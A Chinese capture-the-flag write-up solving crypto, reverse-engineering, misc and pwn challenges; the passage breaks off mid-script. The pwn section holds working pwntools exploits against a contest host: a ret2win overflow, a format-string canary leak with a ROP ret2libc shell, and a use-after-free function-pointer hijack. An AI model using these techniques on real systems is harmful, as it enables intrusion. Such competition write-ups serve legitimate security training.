2026ZeroG零重力CTFWP
Crypto
Cry_01.Twin Orbit / 双轨加密
ZeroG 空间站的两个轨道通信模块使用了同一个 RSA 模数 n。 工程师为了“安全隔离”,给两个模块设置了不同的公钥指数: e1 = 65537 e2 = 17 他们认为: “指数不同,密文不同,应该不会出问题。” 但 Fen 发现,两条通信轨道传输的是同一份核心指令。
请恢复明文,得到 flag。
两个 RSA 公钥使用了相同的 n。
如果 gcd(e1, e2) = 1,可以尝试扩展欧几里得。
注意处理负指数,可以使用模逆。
题目描述:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from Crypto.Util.number import bytes_to_long
def encrypt_message(flag: bytes, n: int):
m = bytes_to_long(flag)
e1 = 65537
e2 = 17
c1 = pow(m, e1, n)
c2 = pow(m, e2, n)
return e1, e2, c1, c2
n = 78429219359517922271023478963814594552681246043944770910304760471867765174623304038843626799213010074714647155283331308571847776870166597053823412781788611608177305819593874012686298378748721435009046767613360191457980203020570462985478543330425482286818857391023923223033155751757576833456411434713984471383
e1 = 65537
e2 = 17
c1 = 71282312105868131740394478794008286284074152062907735987516077413351604126882776234623911447307962528308126218712123568701353026231889282844009867916343556840839139885445525543186695511199429927944296268193188530317628821728534582820389657490317666947095834711636160892093284048993666399747630728635978820198
c2 = 70751964066395185933408819650408191047287659276501425712138199434404000627978244880544478152411510337684996008892030606559772725285766060014956720285732207231186134371296910276169402781919701351782279058927891124229021162906608266092058475936622126108377526917909078829421351716554783863514592590874754685769
解题:
from Crypto.Util.number import long_to_bytes n = 78429219359517922271023478963814594552681246043944770910304760471867765174623304038843626799213010074714647155283331308571847776870166597053823412781788611608177305819593874012686298378748721435009046767613360191457980203020570462985478543330425482286818857391023923223033155751757576833456411434713984471383 e1 = 65537 e2 = 17 c1 = 71282312105868131740394478794008286284074152062907735987516077413351604126882776234623911447307962528308126218712123568701353026231889282844009867916343556840839139885445525543186695511199429927944296268193188530317628821728534582820389657490317666947095834711636160892093284048993666399747630728635978820198 c2 = 70751964066395185933408819650408191047287659276501425712138199434404000627978244880544478152411510337684996008892030606559772725285766060014956720285732207231186134371296910276169402781919701351782279058927891124229021162906608266092058475936622126108377526917909078829421351716554783863514592590874754685769 # 扩展欧几里得求a,b def egcd(a,b): if b==0: return (1,0,a) else: x,y,g = egcd(b, a%b) return (y, x - (a//b)*y, g) a,b,g = egcd(e1, e2) # a = -8, b = 30841 print(a,b) # 计算m c1_inv = pow(c1, -1, n) m = (pow(c1_inv, -a, n) * pow(c2, b, n)) % n # 因为a是负数,-a=8 # 或者直接 m = pow(c1, a, n) * pow(c2, b, n) % n,pow支持负指数吗?Python的pow不支持负指数,需要逆。 # 所以 m = pow(c1, a, n) 会报错,因为a负数。所以用逆。 # 用上面的方法。 m = (pow(c1_inv, 8, n) * pow(c2, 30841, n)) % n flag = long_to_bytes(m) print(flag)
Cry_02.Lunar LCG / 月面伪随机
题目描述:
ZeroG 月面中继站使用一个轻量级伪随机数发生器生成通信密钥流。 开发人员说: “我们没有直接使用固定密钥,而是每次用随机数发生器生成密钥流,应该足够安全。” Fen 查看遥测日志后发现,中继站在加密前泄露了几次连续的 PRNG 状态。
请分析附件,恢复密钥流并解出 flag。
这是一个线性同余生成器 LCG。
如果知道连续的 state,可以恢复参数 a 和 c。
LCG 满足 state[i+1] = a * state[i] + c mod m。
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
class LunarLCG:
def __init__(self, m, a, c, state):
self.m = m
self.a = a
self.c = c
self.state = state
def next_state(self):
self.state = (self.a * self.state + self.c) % self.m
return self.state
def next_byte(self):
"""
The relay station uses the lowest 8 bits of each new state
as one byte of keystream.
"""
return self.next_state() & 0xff
def xor_encrypt(data: bytes, prng: LunarLCG) -> bytes:
out = bytearray()
for b in data:
k = prng.next_byte()
out.append(b ^ k)
return bytes(out)
'''
out.txt
'''
m = 170141183460469231731687303715884105727
leak_states = [
48077378362307815584689819960136019875,
100310108693164117002347749113390493183,
145646689101109657050476193569066602802,
63949818470656288394594660187785964270,
46314465195318558087862397882705709486,
103138436636073932218183299598776830813,
]
ciphertext = 39fe07de62fdc9bf74bbbcbd7e202386ca9e40451b46c74968e30fff138a95
解题:
from Crypto.Util.number import bytes_to_long, long_to_bytes m = 170141183460469231731687303715884105727 leak_states = [ 48077378362307815584689819960136019875, 100310108693164117002347749113390493183, 145646689101109657050476193569066602802, 63949818470656288394594660187785964270, 46314465195318558087862397882705709486, 103138436636073932218183299598776830813 ] ciphertext_hex = "39fe07de62fdc9bf74bbbcbd7e202386ca9e40451b46c74968e30fff138a95" ciphertext = bytes.fromhex(ciphertext_hex) # 求解a和c s0, s1, s2 = leak_states[0], leak_states[1], leak_states[2] d1 = (s1 - s0) % m d2 = (s2 - s1) % m a = (d2 * pow(d1, -1, m)) % m c = (s1 - a * s0) % m # 验证 for i in range(1, len(leak_states)): assert (a * leak_states[i-1] + c) % m == leak_states[i] # 从最后一个泄露状态开始生成后续密钥流 state = leak_states[-1] keystream = [] for _ in range(len(ciphertext)): state = (a * state + c) % m keystream.append(state & 0xff) # 解密 plain = bytes([ciphertext[i] ^ keystream[i] for i in range(len(ciphertext))]) print(plain)
Cry_03.Phobos Padding / 火卫一填充
题目描述:
火卫一通信节点为了提高广播效率,将同一份核心指令发送给了三个不同的接收端。 每个接收端都有不同的 RSA 模数 n,但为了“加速加密”,工程师统一使用了很小的公钥指数: e = 3 工程师声称: “每个接收端的 n 都不同,所以同一条消息广播三次也没关系。” Fen 看到加密脚本后只说了一句: “没有 padding 的广播,就像没有隔热层的返回舱。”
请从附件中恢复明文,得到 flag。
相同明文被使用 e = 3 加密到了三个不同模数下。
尝试使用中国剩余定理合并三个密文。
如果 m^3 小于 n1 * n2 * n3,那么 CRT 后可以直接开整数三次方。
e = 3
n1 = 9203118261705868019110006623273896134322296004495934622126321588206198211590594608536574205500841860912183113474492528101942483463604127057100041845594123
c1 = 225326225723570437926892098700724301640108952320044616725184090895511961737080288471190011942447422341235122945729017303171992927231675218640713872178033
n2 = 8218974785294030613346971087108222043759818458429043768635262660088269400867661193359046399568686339887944628791712180696779799918022646158973494803220299
c2 = 3407676048044393024576659577470571794093695115844258472643168272782162860244002027327745232045383478691907846926814490953793141526176684717238078901972654
n3 = 8640442409248695297781745462901828098989267118787634310572918885729221856234292677073935037333836295724444289085611427540896246989248186559475612627680863
c3 = 6492260343134932927953198433174002823828534869771319070490239692685600132982822403083735209163800494671140850876058194194328293660168048521787716473266503
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from Crypto.Util.number import bytes_to_long
def encrypt(flag: bytes, public_keys):
"""
public_keys:
[
(n1, e),
(n2, e),
(n3, e),
]
Warning:
This demo intentionally uses raw RSA without padding.
"""
m = bytes_to_long(flag)
result = []
for n, e in public_keys:
c = pow(m, e, n)
result.append((n, e, c))
return result
解题:
from Crypto.Util.number import long_to_bytes import gmpy2 n1 = 9203118261705868019110006623273896134322296004495934622126321588206198211590594608536574205500841860912183113474492528101942483463604127057100041845594123 c1 = 225326225723570437926892098700724301640108952320044616725184090895511961737080288471190011942447422341235122945729017303171992927231675218640713872178033 n2 = 8218974785294030613346971087108222043759818458429043768635262660088269400867661193359046399568686339887944628791712180696779799918022646158973494803220299 c2 = 3407676048044393024576659577470571794093695115844258472643168272782162860244002027327745232045383478691907846926814490953793141526176684717238078901972654 n3 = 8640442409248695297781745462901828098989267118787634310572918885729221856234292677073935037333836295724444289085611427540896246989248186559475612627680863 c3 = 6492260343134932927953198433174002823828534869771319070490239692685600132982822403083735209163800494671140850876058194194328293660168048521787716473266503 e = 3 def crt(remainders, moduli): total = 0 N = 1 for n in moduli: N *= n for r, n in zip(remainders, moduli): Ni = N // n inv = pow(Ni, -1, n) total += r * Ni * inv return total % N x = crt([c1, c2, c3], [n1, n2, n3]) m = gmpy2.iroot(x, 3)[0] flag = long_to_bytes(m) print(flag)
PWN
Pwn_01.Starport Ret2win / 星港控制台
题目描述:
远程连接:nc ZeroG 星港控制台存在一个古老的维护接口。 工程师为了方便调试,留下了一个从未被正常调用的后门函数。 但想要抵达那里,必须先控制程序的返回轨道。
请利用漏洞获取远程服务中的动态 flag。
解题:
二进制文件分析,程序存在栈溢出漏洞,可以覆盖返回地址跳转到后门函数 win(地址 0x4011E2)
![]()

from pwn import * HOST = '43.108.37.178' PORT = ****** WIN_ADDR = 0x4011E2 offset = 72 payload = b'A' * offset + p64(WIN_ADDR) r = remote(HOST, PORT) r.recvuntil(b"Input access token:") r.sendline(payload) r.interactive()
Pwn_02.Format Station / 格式化空间站
题目描述:
ZeroG 空间站的通信终端存在一个格式化信标接口。 它会把操作员发送的内容直接交给 printf。 更糟糕的是,维护程序后面还有一个缓冲区溢出点。 你需要先通过格式化字符串泄露关键信息,再绕过保护机制,拿到远程容器里的动态 flag。
解题:
from pwn import * context.arch = 'amd64' context.log_level = 'info' HOST = '43.108.37.178' PORT = 33824 libc = ELF('./libc.so.6') POP_RDI = 0x4011fc PUTS_PLT = 0x401080 PUTS_GOT = 0x403FC8 MAIN = 0x4013BD def leak_canary(r): r.sendlineafter(b'Send your format beacon:', b'%1$p.') data = r.recvuntil(b'Send your access packet:') canary = int(data.split(b'.')[0], 16) return canary r = remote(HOST, PORT) canary1 = leak_canary(r) log.info(f"canary1 = {hex(canary1)}") payload1 = b'A' * 0xC8 payload1 += p64(canary1) payload1 += b'B' * 8 payload1 += p64(POP_RDI) payload1 += p64(PUTS_GOT) payload1 += p64(PUTS_PLT) payload1 += p64(MAIN) r.send(payload1) r.recvuntil(b'[-] packet rejected\n') puts_addr = u64(r.recv(6).ljust(8, b'\x00')) log.info(f"puts address: {hex(puts_addr)}") libc.address = puts_addr - libc.symbols['puts'] log.info(f"libc base: {hex(libc.address)}") system = libc.symbols['system'] binsh = next(libc.search(b'/bin/sh')) log.info(f"system: {hex(system)}") log.info(f"/bin/sh: {hex(binsh)}") canary2 = leak_canary(r) log.info(f"canary2 = {hex(canary2)}") payload2 = b'A' * 0xC8 payload2 += p64(canary2) payload2 += b'B' * 8 payload2 += p64(POP_RDI) payload2 += p64(binsh) payload2 += p64(PUTS_PLT) payload2 += p64(MAIN) r.send(payload2) r.recvuntil(b'[-] packet rejected\n') binsh_out = r.recvline(keepends=False) log.info(f"puts(binsh) output: {binsh_out}") if binsh_out == b'/bin/sh': log.success("/bin/sh address verified!") else: log.error("Unexpected string, check binsh address") canary3 = leak_canary(r) log.info(f"canary3 = {hex(canary3)}") payload3 = b'A' * 0xC8 payload3 += p64(canary3) payload3 += b'B' * 8 # 尝试加一个 ret 对齐 payload3 += p64(0x4011fd) # ret payload3 += p64(POP_RDI) payload3 += p64(binsh) payload3 += p64(system) r.send(payload3) r.interactive()

Pwn_03.Orbit Notes / 轨道便签
题目描述:
远程连接:nc ZeroG 的轨道维护系统提供了一个便签服务。 每条便签都有自己的显示函数,系统会根据便签内保存的函数指针来输出内容。 但工程师似乎忘记在删除便签后清理指针。
请利用这个堆漏洞,劫持程序控制流并读取远程动态 flag。
堆基础利用
dangling pointer
tcache chunk 复用
函数指针劫持
解题:
from pwn import * r = remote('43.108.37.178', *****) r.sendlineafter(b'> ', b'1') r.sendlineafter(b'Input note content:', b'A'*0x47) r.sendlineafter(b'> ', b'3') r.sendlineafter(b'Index: ', b'0') win_addr = 0x401341 payload = p64(win_addr) + b'B' * (0x50 - 8) r.send(payload) r.sendlineafter(b'> ', b'4') r.sendlineafter(b'Index: ', b'0') r.recvline() flag_line = r.recvline().strip() print(flag_line.decode()) r.close()
Reverse
Re_01.Docking Check / 对接口令校验
题目描述:
附件中给出了校验程序 dock_check。 请逆向分析程序逻辑,恢复正确口令。
字节级变换分析
rol / xor / add 等简单可逆运算
从校验常量反推 flag
解题:
# 目标常量数组 (从0x2080开始的28字节) target = [ 0x77, 0x4C, 0x3A, 0xD6, 0xE0, 0x27, 0xD5, 0x33, 0x14, 0xD6, 0xFA, 0xE9, 0xE0, 0x37, 0x29, 0x7E, 0x3D, 0x94, 0x6D, 0xB3, 0x7A, 0x56, 0xA0, 0xBA, 0xBF, 0x07, 0xA3, 0x7B ] acc = 0x3C def rol8(val, bits): """8位循环左移""" bits %= 8 return ((val << bits) | (val >> (8 - bits))) & 0xFF def ror8(val, bits): """8位循环右移""" bits %= 8 return ((val >> bits) | (val << (8 - bits))) & 0xFF result = [] for i in range(28): f_val = (acc ^ target[i]) & 0xFF # 计算旋转位数 r = (i % 7) + 1 # 逆向变换:先 xor 0xA5,再循环右移 r 位 tmp = ror8(f_val ^ 0xA5, r) # 常数 k1, k2 k1 = (6 + 13 * i) & 0xFF k2 = (23 + 17 * i) & 0xFF c = ((tmp - k2) & 0xFF) ^ k1 result.append(chr(c)) acc = target[i] flag = ''.join(result) print(flag)
Re_02.Lunar License / 许可证算法逆向
题目描述:
ZeroG 轨道系统的授权模块使用了一套自定义许可证校验逻辑。 工程师说: “许可证校验是自研的,直接看不出来规律。” Fen 拿到的是一个被 strip 过的 Linux ELF 程序。 请逆向分析许可证算法,恢复正确许可证,解出 flag。
字节级加解密逻辑
状态机型校验流程
从 .rodata 中提取常量表
解题:
#!/usr/bin/env python3 import struct # 从 .rodata 段提取的常量 (由 IDA 反汇编得到) # 校验目标常量表 (16 字节) const_target = bytes([ 0xB4, 0x68, 0x6E, 0xBD, 0xEB, 0xFD, 0x0D, 0xC7, 0xB7, 0x86, 0xAC, 0x6D, 0x3A, 0x2E, 0x68, 0x8D ]) # 加密的 flag 数据 (34 字节) cipher_flag = bytes([ 0x96, 0xE8, 0x7F, 0x67, 0xB5, 0x88, 0xB1, 0x70, 0xAD, 0xD8, 0x31, 0x1B, 0x07, 0xCA, 0xD4, 0xB9, 0xFF, 0xB8, 0x07, 0x33, 0x9B, 0x6C, 0x57, 0x97, 0x4D, 0xDD, 0x5B, 0x71, 0x67, 0x86, 0xF6, 0x7A, 0x3C, 0x59 ]) def rol8(x, n): """8-bit 循环左移""" n &= 7 return ((x << n) & 0xFF) | (x >> (8 - n)) def rol32(x, n): """32-bit 循环左移""" n &= 31 return ((x << n) & 0xFFFFFFFF) | (x >> (32 - n)) def solve_license(): # 初始状态 (与汇编一致) r8 = 0x27 r9 = 0 r12 = 0x4C554E52 # "RNUL" 小端 license = bytearray(16) # 预计算每个 i 对应的 rol 移位量 cl(依赖 i 但不依赖输入) cl_vals = [] MUL_CONST = 0xCCCCCCCCCCCCCCCD for i in range(16): # 模拟 mul r11 (r11 = MUL_CONST) # 64 位乘法,取高 64 位 prod = i * MUL_CONST rdx = prod >> 64 # 高 64 位 # 对应汇编:and rdx, 0xFFFFFFFFFFFFFFFC ; mov rax, rdx ; shr rax, 2 ; add rdx, rax rdx_low3 = rdx & ~3 rax = rdx >> 2 rdx_new = rdx_low3 + rax # cl = i - rdx_new + 1 cl = (i - rdx_new) + 1 cl_vals.append(cl) for i in range(16): # 当前 i 对应的有效 rol 移位量(低 3 位) rol_shift = cl_vals[i] & 7 # 根据 i 和当前 r12 计算右移位数 shift = (i & 3) * 8 s_val = (r12 >> shift) & 0xFF found = False for b in range(256): # xor 输入字节 tmp = s_val ^ b # rol tmp = rol8(tmp, rol_shift) # 加 r8,异或 r9,异或 0x5C eax = (tmp + r8) & 0xFF eax ^= r9 eax ^= 0x5C if eax == const_target[i]: license[i] = b # 更新状态机 # 注意:用于更新 r12 的值是变换后得到的 eax(即 const_target[i]) eax_val = const_target[i] eax_val ^= r12 eax_val ^= 0xA5A5A5A5 eax_val = rol32(eax_val, 7) r12 = (eax_val + 0x13371337) & 0xFFFFFFFF r8 = (r8 + 0x13) & 0xFFFFFFFF r9 = (r9 + 7) & 0xFFFFFFFF found = True break if not found: raise RuntimeError(f"Failed at position {i}") return license def decrypt_flag(license): """使用许可证字节解密 flag""" plain = bytearray() ecx = 0x42 # 初始值 for i, c in enumerate(cipher_flag): key = license[i & 0xF] p = c ^ (ecx & 0xFF) ^ key plain.append(p) ecx += 0x0D return plain def main(): license_bytes = solve_license() license_hex = license_bytes.hex() print(f"Valid license (32 hex chars): {license_hex}") flag_bytes = decrypt_flag(license_bytes) print("Flag (as hex):", flag_bytes.hex()) flag_str = flag_bytes.decode('utf-8') print("Flag string:", flag_str) if __name__ == "__main__": main()
Re_03.Nebula Patch / 星云补丁
题目描述:
Flag 类型:静态 flag Flag 格式:flag{...} ZeroG 深空探测器的星云模块内置了一段许可证校验逻辑。 工程师为了阻止逆向分析,加入了反调试检测和多层逻辑判断。 Fen 留下了一句话: “如果星云不让你观察它,那就改变观测路径。”
请逆向分析程序,绕过阻碍,恢复正确输入并得到 flag。
解题:
# 解密passcode target = [0x04, 0x8E, 0xB3, 0x88, 0xFA, 0x73, 0xD9, 0x1F, 0x81, 0x04, 0x8B, 0x0C, 0xAA, 0x3A, 0x56, 0xA1, 0x37, 0x85] shifts = [1,2,3,4,5,6,1,2,3,4,5,6,1,2,3,4,5,6] key1_base = 0x67 key2_base = 0x17 def rol8(x, n): n &= 7 return ((x << n) | (x >> (8 - n))) & 0xFF def find_passcode(): state = 0x6D passcode = [] for i in range(18): key1 = (key1_base + 0x0B * i) & 0xFF key2 = key2_base * (i+1) found = None for c in range(256): rol = rol8(c ^ key1, shifts[i]) edi = (rol + key2) & 0xFFFFFFFF if ((state ^ edi) & 0xFF) == target[i]: found = c state ^= edi break if found is None: raise ValueError(f"No solution at i={i}") passcode.append(found) return bytes(passcode) passcode = find_passcode() print("Passcode:", passcode.decode()) # 计算flag input_bytes = passcode esi = 0x9E3779B9 edi = 0x4E42554C for i, c in enumerate(input_bytes): shift = (i & 3) * 8 eax = (c << shift) & 0xFFFFFFFF eax ^= edi eax = (eax + esi) & 0xFFFFFFFF esi = (esi + 0x45D9F3B) & 0xFFFFFFFF eax = ((eax << 5) | (eax >> 27)) & 0xFFFFFFFF edi = eax edi ^= 0x7F4A7C15 key = eax ^ 0xBF4BAC18 print("Key:", hex(key)) # 密文 cipher = bytes.fromhex("9D270153E1DE3787561D569097D80AB42ED5A79B67E355A915F33BCFE93E6D5707AF") # 长度34 assert len(cipher) == 34 plain = bytearray() edi = 0x42 for i, b in enumerate(cipher): if i % 4 == 0: # 更新密钥 edx = key edx = (edx << 13) & 0xFFFFFFFF key ^= edx edx = key >> 17 key ^= edx edx = key key = ((edx << 5) & 0xFFFFFFFF) ^ edx # 取密钥字节 shift = (i & 3) * 8 key_byte = (key >> shift) & 0xFF plain_byte = b ^ (edi & 0xFF) ^ key_byte plain.append(plain_byte) edi = (edi + 0xD) & 0xFF print("Flag:", plain.decode())
Re_04.Nebula VM / 星云虚拟机
题目描述:
Flag 类型:静态 flag Flag 格式:flag{...} ZeroG 的星云模块升级了授权校验系统。 这一次,工程师没有直接写校验逻辑,而是实现了一个非常小的自定义虚拟机。 授权口令的校验逻辑被编译成 bytecode,并且 bytecode 在程序中还是加密存储的。 Fen 留下一句话: “真正的规则不在汇编里,而在星云自己的指令集中。”
请逆向分析 VM 解释器和 bytecode,恢复正确 passcode,并得到 flag。
自定义 VM 解释器识别
VM bytecode 反汇编
xorshift keystream 解密
解题:
enc = [ 0x66, 0x8F, 0x1D, 0x45, 0x52, 0x16, 0xA9, 0xE1, 0xEF, 0x76, 0xFB, 0x6D, 0xAB, 0xE1, 0xEB, 0x52, 0x93, 0x47, 0x7B, 0x18, 0x26, 0xFB, 0xA1, 0xF0, 0xA9, 0xD2, 0x43, 0xF9, 0x77 ] def xorshift(x): x ^= (x << 13) & 0xFFFFFFFF x ^= (x >> 17) x ^= (x << 5) & 0xFFFFFFFF return x & 0xFFFFFFFF # 已知 flag 以 "flag" 开头,反推第一次 xorshift 后的状态 esi0 = 0x73 s1 = 0 for i in range(4): known = ord("flag"[i]) s1 |= ((enc[i] ^ (esi0 + 0x13 * i) ^ known) << (8 * i)) state = s1 esi = esi0 out = [] for i in range(29): if i > 0 and i % 4 == 0: state = xorshift(state) shift = (i & 3) * 8 key_byte = (state >> shift) & 0xFF out_byte = enc[i] ^ (esi & 0xFF) ^ key_byte out.append(out_byte) esi += 0x13 flag = bytes(out).decode() print(flag)
Re_05.Android Re: Docking Station
秘钥当做Key = sha256("Pwnstars:: │ N1-A-Hugo-Gnaw-Fen:: │ www.pwnstars.online")
密文应该是在telemetry.bin文件找,使用XOR-SHA256-CTR解密
import hashlib,struct,zlib ct=open('d:/su2/suadminserver/telemetry.bin','rb').read() kdf='Pwnstars::N1-A-Hugo-Gnaw-Fen::www.pwnstars.online' key=hashlib.sha256(kdf.encode()).digest() nonce=b'ZEROG-01' result=bytearray() cnt=0; pos=0 while pos<len(ct): cb=struct.pack('>I', cnt) ks=hashlib.sha256(key+nonce+cb).digest() chunk=ct[pos:pos+32] for i,b in enumerate(chunk): result.append(b^ks[i]) pos+=32; cnt+=1 dec=bytes(result) print(dec.decode('utf-8',errors='replace'))
得到c3ludHtNcmViVF9mZ25lZ2Vudnlfc2Viel9jamFmZ25lZn0=
解码 Base64:synt{MrebT_fgnegenvy_sebz_cjafgnef}
再解码:flag{ZeroG_startrail_from_pwnstars}
Misc_02.Moonlight Radio / 月光电台
题目描述:
ZeroG 空间站在月背通信窗口中收到了一段短暂的无线电信号。
Fen 说这段音频像是旧时代电话系统的声音; Hugo 在遥测数据里发现了一个加密帧; N1 认为这些声音并不是随机噪声; A 留下了一条推导公式;
Gnaw 只说了一句话: “把数字重新变成字符,然后让月光打开遥测帧。” 请从附件中恢复最终 flag。
radio.wav 中的声音不是摩斯码,更像电话按键音。
DTMF 每个按键由两个固定频率组成。
解出的数字可以每 3 位分组,尝试作为 ASCII 码解释。
解题:
Gnaw说"让月光打开遥测帧":编写脚本
DTMF = { (697, 1209): '1', (697, 1336): '2', (697, 1477): '3', (697, 1633): 'A', (770, 1209): '4', (770, 1336): '5', (770, 1477): '6', (770, 1633): 'B', (852, 1209): '7', (852, 1336): '8', (852, 1477): '9', (852, 1633): 'C', (941, 1209): '*', (941, 1336): '0', (941, 1477): '#', (941, 1633): 'D', } DTMF_FREQS = [697, 770, 852, 941, 1209, 1336, 1477, 1633] import wave, numpy as np w = wave.open('radio.wav', 'rb') rate = w.getframerate() data = np.frombuffer(w.readframes(w.getnframes()), dtype=np.int16) w.close() if w.getnchannels() == 2: data = data.reshape(-1, 2).mean(axis=1) # Step 2: Spectrogram analysis to find DTMF tones import math # Find tone segments by energy window = int(0.02 * rate) # 20ms window step = window // 2 tolerance = 20 # Hz tolerance # Simple energy-based detection energy = [] for i in range(0, len(data) - window, step): chunk = data[i:i+window].astype(float) energy.append(np.sum(chunk**2) / len(chunk)) energy = np.array(energy) threshold = np.max(energy) * 0.15 active = energy > threshold print(f'Total frames: {len(energy)}, Active frames: {np.sum(active)}') # Goertzel algorithm for DTMF detection def goertzel(samples, target_freq, rate): n = len(samples) k = int(0.5 + n * target_freq / rate) omega = 2 * math.pi * k / n coeff = 2 * math.cos(omega) s0 = s1 = s2 = 0 for sample in samples: s0 = sample + coeff * s1 - s2 s2 = s1 s1 = s0 real = s1 - s2 * math.cos(omega) imag = s2 * math.sin(omega) return math.sqrt(real*real + imag*imag) / (n / 2) # Detect tones in active segments tone_len = int(0.04 * rate) # 40ms analysis window detected_digits = [] in_tone = False tone_start = None last_digit = None for i in range(0, len(data) - tone_len, tone_len // 2): chunk = data[i:i+tone_len].astype(float) amp = np.sum(chunk**2) / len(chunk) if amp > threshold: # Find the two strongest DTMF frequencies powers = {} for f in DTMF_FREQS: powers[f] = goertzel(chunk, f, rate) # Find row and column frequencies low_freqs = sorted([(f, powers[f]) for f in [697, 770, 852, 941]], key=lambda x: -x[1]) high_freqs = sorted([(f, powers[f]) for f in [1209, 1336, 1477, 1633]], key=lambda x: -x[1]) row_freq = low_freqs[0][0] col_freq = high_freqs[0][0] if (row_freq, col_freq) in DTMF: digit = DTMF[(row_freq, col_freq)] if digit != last_digit: # Debounce detected_digits.append(digit) last_digit = digit print(f' Detected: {digit} (row={row_freq} col={col_freq})') else: last_digit = None digits_str = ''.join(detected_digits) print(f'\nAll DTMF digits: {digits_str}') print(f'Length: {len(digits_str)}')
解码成功:108117110097114045049055048049
digits='108117110097114045049055048049' # Step 2: Group by 3 → ASCII password = ''.join(chr(int(digits[i:i+3])) for i in range(0,len(digits),3)) print(f'Password: {password}') import hashlib, struct, zlib # A's formula key_str = f'ZeroG::{password}::www.pwnstars.online' key = hashlib.sha256(key_str.encode()).digest() print(f'Key (hex): {key.hex()}') print(f'KDF string: {key_str}') ct = open('telemetry.dat', 'rb').read() print(f'CT size: {len(ct)} bytes') print(f'CT first 64 hex: {ct[:64].hex()}')
检验telemetry.dat 头部是 ZGTELv2 和 ZGRMOON2已经在了
用 "moonlight" 作为 nonce 解密
import hashlib, struct, zlib password = 'lunar-1701' key_str = f'ZeroG::{password}::www.pwnstars.online' key = hashlib.sha256(key_str.encode()).digest() ct = open('telemetry.dat', 'rb').read() print(f'Full CT: {ct[:200]}') print(f'CT text: {repr(ct[:100])}') for i in range(len(ct)): if ct[i:i+10] == b'ZGTELv2': print(f'ZGTELv2 at offset {i}') if ct[i:i+10] == b'ZGRMOON2': print(f'ZGRMOON2 at offset {i}') if ct[i:i+4] == b'ZGST': print(f'ZGST at offset {i}') print(f'Total bytes: {len(ct)}') print(f'Full hex dump:') for i in range(0, len(ct), 32): hex_str = ct[i:i+32].hex() ascii_str = ''.join(chr(b) if 32<=b<127 else '.' for b in ct[i:i+32]) print(f'{i:04d}: {hex_str} {ascii_str}')
头部 ZGTELv2\nZGRMOON2(16字节),之后是密文;利用XOR-SHA256-CTR 解密:
每块:keystream = sha256(key + "ZGRMOON2'+ counter)
得到:c3ludHtNcmViVF96YmJheXZ0dWdfZW5xdmJfcWd6c30=
解码 Base64:synt{MrebT_zbbayvtug_enqvb_qgzs}
再解码:flag{ZeroG_moonlight_radio_dtmf}
解题脚本:
import hashlib, struct, zlib, wave, math, numpy as np # ==================== Step 1: DTMF Decode ==================== DTMF_FREQS = { (697, 1209): '1', (697, 1336): '2', (697, 1477): '3', (697, 1633): 'A', (770, 1209): '4', (770, 1336): '5', (770, 1477): '6', (770, 1633): 'B', (852, 1209): '7', (852, 1336): '8', (852, 1477): '9', (852, 1633): 'C', (941, 1209): '*', (941, 1336): '0', (941, 1477): '#', (941, 1633): 'D', } LOW_FREQS = [697, 770, 852, 941] HIGH_FREQS = [1209, 1336, 1477, 1633] def goertzel(samples, target_freq, sample_rate): N = len(samples) k = int(0.5 + N * target_freq / sample_rate) omega = 2.0 * math.pi * k / N coeff = 2.0 * math.cos(omega) s0 = s1 = s2 = 0.0 for sample in samples: s0 = sample + coeff * s1 - s2 s2 = s1 s1 = s0 real = s1 - s2 * math.cos(omega) imag = s2 * math.sin(omega) return math.sqrt(real*real + imag*imag) / N def decode_dtmf(wav_path): w = wave.open(wav_path, 'rb') rate = w.getframerate() nframes = w.getnframes() raw = w.readframes(nframes) w.close() samples = np.array(struct.unpack(f'<{nframes}h', raw), dtype=np.float64) / 32768.0 window = int(rate * 0.025) hop = int(rate * 0.01) energy = np.array([np.mean(np.abs(samples[i:i+window])) for i in range(0, len(samples)-window, hop)]) threshold = np.mean(energy) * 1.5 is_tone = energy > threshold in_tone = False segments = [] start = 0 for i, tone in enumerate(is_tone): if tone and not in_tone: start = i * hop in_tone = True elif not tone and in_tone: end = i * hop if (end - start) / rate > 0.03: segments.append((start, end)) in_tone = False if in_tone: segments.append((start, len(samples))) result = '' for seg_start, seg_end in segments: seg = samples[seg_start:seg_end] low_power = {f: goertzel(seg, f, rate) for f in LOW_FREQS} high_power = {f: goertzel(seg, f, rate) for f in HIGH_FREQS} low_f = max(low_power, key=low_power.get) high_f = max(high_power, key=high_power.get) result += DTMF_FREQS.get((low_f, high_f), '?') return result print("=== Step 1: DTMF Decode ===") digits = decode_dtmf('radio.wav') print(f"DTMF digits: {digits}") # ==================== Step 2: Digits → ASCII ==================== print("\n=== Step 2: Digits → ASCII (3-digit groups) ===") password = ''.join(chr(int(digits[i:i+3])) for i in range(0, len(digits), 3)) print(f"Password: {password}") # ==================== Step 3: Derive Key ==================== # A's formula: key = sha256("ZeroG::" + radio_password + "::www.pwnstars.online") key_str = f"ZeroG::{password}::www.pwnstars.online" key = hashlib.sha256(key_str.encode()).digest() print(f"\n=== Step 3: Key Derivation (A's formula) ===") print(f"KDF: {key_str}") print(f"Key: {key.hex()}") # ==================== Step 4: Decrypt telemetry.dat ==================== print("\n=== Step 4: Decrypt telemetry.dat ===") ct_full = open('telemetry.dat', 'rb').read() print(f"telemetry.dat total size: {len(ct_full)} bytes") print(f"Header: {ct_full[:16]}") print(f"Header text: {ct_full[:16].decode('ascii', errors='replace')}") # Strip header "ZGTELv2\nZGRMOON2" (16 bytes) ct = ct_full[16:] print(f"Ciphertext size: {len(ct)} bytes") def xor_sha256_ctr(ct, key, nonce, ctr_sz=4, ctr_fmt='>I'): result = bytearray() cnt = 0 pos = 0 while pos < len(ct): cb = struct.pack(ctr_fmt, cnt) ks = hashlib.sha256(key + nonce + cb).digest() chunk = ct[pos:pos+32] for i, b in enumerate(chunk): result.append(b ^ ks[i]) pos += 32 cnt += 1 return bytes(result) # Gnaw: "let moonlight open the telemetry frame" # ZGRMOON2 in header - MOON2 is the cipher variant found = False # Try all nonce & counter combinations for nonce_src in ['moonlight', '', 'ZGRMOON2', 'ZeroG', 'lunar-1701', 'moon', 'MOON', 'Moon']: nonce = nonce_src.encode() for ctr_sz, fmt in [(4, '>I'), (8, '>Q'), (4, '<I'), (8, '<Q')]: dec = xor_sha256_ctr(ct, key, nonce, ctr_sz, fmt) # Try zlib try: plain = zlib.decompress(dec) txt = plain.decode('utf-8', errors='replace') if 'flag' in txt.lower() or 'Pwnstars' in txt or 'synt{' in txt or 'ZeroG' in txt: print(f"\n>>> ZLIB 